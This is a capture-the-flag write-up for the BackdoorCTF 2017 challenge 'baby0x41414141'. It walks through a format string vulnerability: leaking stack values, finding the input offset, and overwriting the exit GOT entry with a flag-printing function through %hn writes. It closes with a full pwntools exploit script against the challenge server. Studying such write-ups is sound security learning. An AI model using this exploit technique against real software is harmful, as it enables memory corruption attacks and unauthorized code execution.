[Pwn] BackdoorCTF 2017 - baby0x41414141

1.1 - format string vulnerability.

We have a format string vulnerability we can confirm this by running the binary:

1
2
3
4
$ ./32_new 
Hello baby pwner, whats your name?
%x
Ok cool, soon we will know whether you pwned it or not. Till then Bye 8048914

A there it is, we leaked an address from the stack, analysing the binary again we can see we already have a cool function that calls system('cat flag.txt') so we don’t have to actually leak libc addresses and go through all that trouble:

1.2 - flag function.

This one is really simple:

1
2
1 - Calculate the offset of the address we put in the stack using %p.
2 - Modify the exit function address with flag function using %n.

Before going into an explanation I’ll show you some modifiers from printf man page this will be useful since we want to override a certain number of bytes and this length modifiers will help us on that.

1
2
3
4
5
6
7
8
9
10
11
12
13
An optional length modifier, that specifies the size of the argument.
The following length modifiers are valid for the d, i, n, o, u, x, or
X conversion:

Modifier d, i o, u, x, X n
hh signed char unsigned char signed char *
h short unsigned short short *
l (ell) long unsigned long long *
ll (ell ell) long long unsigned long long long long *
j intmax_t uintmax_t intmax_t *
t ptrdiff_t (see note) ptrdiff_t *
z (see note) size_t (see note)
q (deprecated) quad_t u_quad_t quad_t *

For example if we want to override an address like this 0x0804870b this a 32 bit address so if we need to change all the bits we would use %ln which is a long and it’s 32 bits or we could even use %lln would work too since is 64 bit (long long).

Usually we want to use %hn so we can override 2 bytes(16 bits) at each if we get greedy and try to override it as long when the binary prints the string output it will take a lot of time since it needs 0x0804870b spaces to be printed, this is why we prefer to use %hn the address but this time we need to do it in two operations instead of one.

1
2
0804 -> '%11hn'
870b -> '%10hn'

Stack address offset calculation

We can do this by printing a bunch of addresses from the stack using %x or %p, we can insert some ‘AAAA’ in the beginning and the a bunch of %x and check on which location the ‘AAAA’ are positioned in the stack.

1
2
3
4
5
6
def getConn():
return process('./32_new') if local else remote('163.172.176.29', 9035)
r =getConn()
r.recvuntil('Hello baby pwner, whats your name?\n')
s = 'AAAA'+ '%x,'*20
r.sendline(s)

We can see our 41414141 will appear in the position 10th, we now know where its located in the stack when we put some strings in the beginning:

1
2
$ python 32_new.py 
Ok cool, soon we will know whether you pwned it or not. Till then Bye AAAA8048914,ff92ee98,1,f745c618,36e,f7462668,ff92f144,ff92eee4,ff92eee0,41414141,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,

To access its position we can do like this:

1
'%10$hn'

Override exit function

Now we need to calculate how much characters we need to add into our format expression, for example if we needed 100 we could do it like this:

1
'%100%10$hn'

Now starting the exploit we can easily get the exit GOT address with pwntools and the flag function we can get it from radare2 you can check it at the picture 1.2 above.

One nice trick is to clear the existing EXIT function address with %10$lln of course since we are adding some characters at the begining of the string the address won’t be converted to 0 in this case it actually turned into 0x0000004e, 0x4e is 78 in decimal and that’s why I’m subtracting in the 78! And there is another thing that is very cleaver, is to split the address in half using some bit operations with this we know exactly how many characters to add (of course you still need to do some debugging in gdb).

1
2
3
4
5
6
7
8
9
10
EXIT_GOT = binary.got['exit']

FLAG_LOW = FLAG & 0xffff
FLAG_HIGH = (FLAG & 0xffff0000) >> 16

s = p32(EXIT_GOT)
s += p32(EXIT_GOT+2)
s += '%10$lln' # clears the already existing exit address
s += '%{}x%11$hn'.format(FLAG_HIGH-78)
s += '%{}x%10$hn'.format(FLAG_LOW-FLAG_HIGH)

The full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

local = False
def getConn():
return process('./32_new') if local else remote('163.172.176.29', 9035)

r =getConn()
#gdb.attach(r, '''
# b *0x08048724
# c''')
binary = ELF('./32_new')
FLAG = 0x0804870b
EXIT_GOT = binary.got['exit']

FLAG_LOW = FLAG & 0xffff
FLAG_HIGH = (FLAG & 0xffff0000) >> 16

s = p32(EXIT_GOT)
s += p32(EXIT_GOT+2)
s += '%10$lln' # clears the already existing exit address
s += '%{}x%11$hn'.format(FLAG_HIGH-78)
s += '%{}x%10$hn'.format(FLAG_LOW-FLAG_HIGH)
r.recvuntil('Hello baby pwner, whats your name?\n')
r.sendline(s)
print r.recvall(timeout=1)
r.close()